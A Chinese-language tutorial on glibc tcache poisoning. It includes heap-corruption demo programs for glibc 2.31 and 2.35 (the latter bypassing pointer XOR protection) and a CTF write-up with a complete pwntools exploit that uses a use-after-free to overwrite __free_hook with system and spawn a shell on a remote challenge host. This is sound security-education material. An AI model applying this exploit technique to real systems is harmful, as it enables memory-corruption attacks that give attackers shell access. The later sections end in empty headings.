• tcache_poisoning字面意思就是tcache_中毒,实际上就是劫持已经被释放的并且已经被放入tcachebin中的堆块,劫持该堆块的fd指针
  • 这样我们就可以申请到任意地址的内存空间,如果堆菜单中有读和写的功能就能达到任意地址写和任意地址读的操作。
  • 这个算是最简单的一个堆利用了,总之比fastbin_attack容易得多。接下来直接看实验就明白了。
  • 三个实验,第一个实验是glibc2.31以下的通过直接修改指针的值进行tcache_poisoning

实验1

  • 实验环境主要以glibc2.31版本和glibc2.35版本,分别对应着glibc2.31版本一下的tcache_poisoning操作很简单。
  • 而从glibc2.32版本开始tcache_poisoning就需要有一个异或操作了,所以稍微有点麻烦了。

源码(英文)

  • 接下来就直接查看实验,查看一下tcache_poisoning的效果如何
  • 实验的环境以ubuntu2.31为准,因为这个版本的tcache堆块被释放后添加了地址加密,但是攻击效果还是和前几个版本一样。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

size_t stack_var;
printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("Freeing the buffers...\n");
free(a);
free(b);

printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);

intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");

assert((long)&stack_var == (long)c);
return 0;
}
//gcc -g -o lab lab.c

源码(中文)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// 无缓冲模式
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("这个文件示范了一个通过欺骗malloc进行简单的tcache投毒攻击,这使得程序在调用malloc后会返回任意位置的内存地址例如栈地址或者libc中的地址\n这个攻击与fasbin corruption attack非常相似\n");
printf("在patch这个之后https://sourceware.org/git/p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n我们必须创建或者释放多个(至少两个)的堆块,然后释放他们,最后将目标地址填入最后一次所释放的堆块的fd指针的位置,从而使指针被劫持\n\n");

size_t stack_var;
printf("我们想要malloc()返回的地址为:%p.\n", (char *)&stack_var);

printf("分配两个堆块\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("释放这两个堆块...\n");
free(a);
free(b);

printf("现在tcache链表是这样的形式[ %p -> %p ].\n", b, a);
printf("我们覆盖开头的%lu bytes,目前这个数据(fd/next pointer)的值为: %p\n"
"我们要使得它指向我们指定的位置(%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("现在tcache链表像这样[ %p -> %p ].\n", b, &stack_var);

printf("首先malloc(128): %p\n", malloc(128));
printf("现在tcache的链表像这样[ %p ].\n", &stack_var);

intptr_t *c = malloc(128);
printf("其次 malloc(128): %p\n", c);
printf("我们取得了控制\n");

assert((long)&stack_var == (long)c);
return 0;
}
//gcc -g -o lab lab.c

利用过程

  • 由于这个过程比较简单,所以就不分步骤了。

image-20250603234217487

  • 首先我们先申请两个堆块

image-20250603234259804

  • 堆块目前是这样的

image-20250603234350519

  • 之后我们就先后释放这两个堆块

image-20250603234422878

image-20250603234429223

image-20250603234645876

  • 接下来我们修改了b指针所指向的堆块stack_var

image-20250603234736456

image-20250603234837739

image-20250603234913302

  • 然后再调用malloc申请相同大小的堆块

image-20250603235038287

  • 这个时候我们就可以对栈上的地址进行读写了

image-20250603235122073

tcache_poisoning_level1

分析1

全局变量

image-20250604001015303

main函数

  • 简单的一个堆菜单

image-20250604001036204

create函数

  • 就是指定堆块索引,向堆块索引这边申请指定大小的堆块

image-20250604001115616

edit函数

  • 向堆块大小写入,我们之前申请堆块大小的字节数

image-20250604001236587

delete函数

  • 释放指定堆块,但是这里存在UAF漏洞,我们可以编辑释放后的堆块。

image-20250604001318997

show函数

  • 打印指定堆块索引所指向堆块的内容。

image-20250604001402354

分析2

攻击流程

  • 其实主要思路就是利用UAF漏洞,对释放后的堆块进行show函数操作,写泄露libc的地址。
  • 然后再申请两个堆块,并且将这两个堆块释放,从而进行tcache_poisoning攻击,使得我们申请到free_hook所在的内存空间。
  • 这样我们就可以修改free_hook里面的内容为system,之后我们再申请一个堆块,向这个堆块写入/bin/sh\x00,写入后再释放这个堆块,就可以执行system("/bin/sh\x00")了。

调试过程

  • 先申请一个大的堆块,再释放该堆块,使得这个堆块释放后会被放入unsorted_bin中去。这样我们就可以使用show函数泄露出libc的地址。

image-20250604003111795

  • 之后我们使用tcache_poisoning的方法对这个程序进行攻击

image-20250604003231737

image-20250604003257272

image-20250604003626165

  • 接下来就可以申请到free_hook的这个地方了

image-20250604003725830

  • 然后再申请一个堆块填入/bin/sh\x00并释放

image-20250604003815954

  • 释放后就能getshell

image-20250604003832514

  • 打远程

image-20250604003912099

exp

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from sympy import oo
context.log_level = 'debug'
#p = process("./heap")
p = remote('node4.anna.nssctf.cn',28937)
#libc = ELF("/home/myheart/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")
libc = ELF("./libc.so.6")
def add(idx,size):
p.sendlineafter(b">>",b'1')
p.sendlineafter(b'idx?',str(idx).encode())
p.sendlineafter(b'size?',str(size).encode())


def delete(idx):
p.sendlineafter(b">>",b'2')
p.sendlineafter(b'idx?',str(idx).encode())

def show(idx):
p.sendlineafter(b">>",b'3')
p.sendlineafter(b'idx?',str(idx).encode())

def edit(idx,content):
p.sendlineafter(b">>",b'4')
p.sendlineafter(b'idx?',str(idx).encode())
p.sendlineafter(b'content :',content)
#gdb.attach(p)
add(0,0x450)
add(1,0x10)
delete(0)
show(0)
p.recvuntil(b'content : ')
libc_x = p.recvline()[:-1]
libc_x = u64(libc_x.ljust(8,b'\x00'))
libc_base = libc_x - 0x70 - libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
sys_addr = libc_base + libc.symbols['system']
add(2,0x30)
add(3,0x30)
add(4,0x30)
delete(2)
delete(3)
edit(3,p64(free_hook))
add(5,0x30)
add(6,0x30)
edit(6,p64(sys_addr))
add(7,0x30)
edit(7,b'/bin/sh\x00')
delete(7)
#print(hex(libc_x))
p.interactive()

实验2

  • 这个实验就是glibc2.35环境下的实验,主要就是tcache增加了key机制,在free后fd指针会与key值异或,从而增大了tcache_poisoning的难度
  • 但是现在还是能进行绕过tcache_poisoning绕过。

源码(英文)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
"An heap address leak is needed to perform tcache poisoning.\n"
"The same patch also ensures the chunk returned by tcache is properly aligned.\n\n");

size_t stack_var[0x10];
size_t *target = NULL;

// choose a properly aligned target address
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);

printf("The address we want malloc() to return is %p.\n", target);

printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("Freeing the buffers...\n");
free(a);
free(b);

printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, target);
// VULNERABILITY
// the following operation assumes the address of b is known, which requires a heap leak
b[0] = (intptr_t)((long)target ^ (long)b >> 12);
// VULNERABILITY
printf("Now the tcache list has [ %p -> %p ].\n", b, target);

printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", target);

intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");

assert((long)target == (long)c);
return 0;
}// gcc -g -o lab2 lab2,c

源码(中文)

  • 翻译成中文后就是如下这样
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
"An heap address leak is needed to perform tcache poisoning.\n"
"The same patch also ensures the chunk returned by tcache is properly aligned.\n\n");

size_t stack_var[0x10];
size_t *target = NULL;

// choose a properly aligned target address
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);

printf("The address we want malloc() to return is %p.\n", target);

printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("Freeing the buffers...\n");
free(a);
free(b);

printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, target);
// VULNERABILITY
// the following operation assumes the address of b is known, which requires a heap leak
b[0] = (intptr_t)((long)target ^ (long)b >> 12);
// VULNERABILITY
printf("Now the tcache list has [ %p -> %p ].\n", b, target);

printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", target);

intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");

assert((long)target == (long)c);
return 0;
}//gcc -g -o lab2 lab2.c

利用过程1(获取key值)

利用过程2(申请任意地址)

tcache_poisoning_level2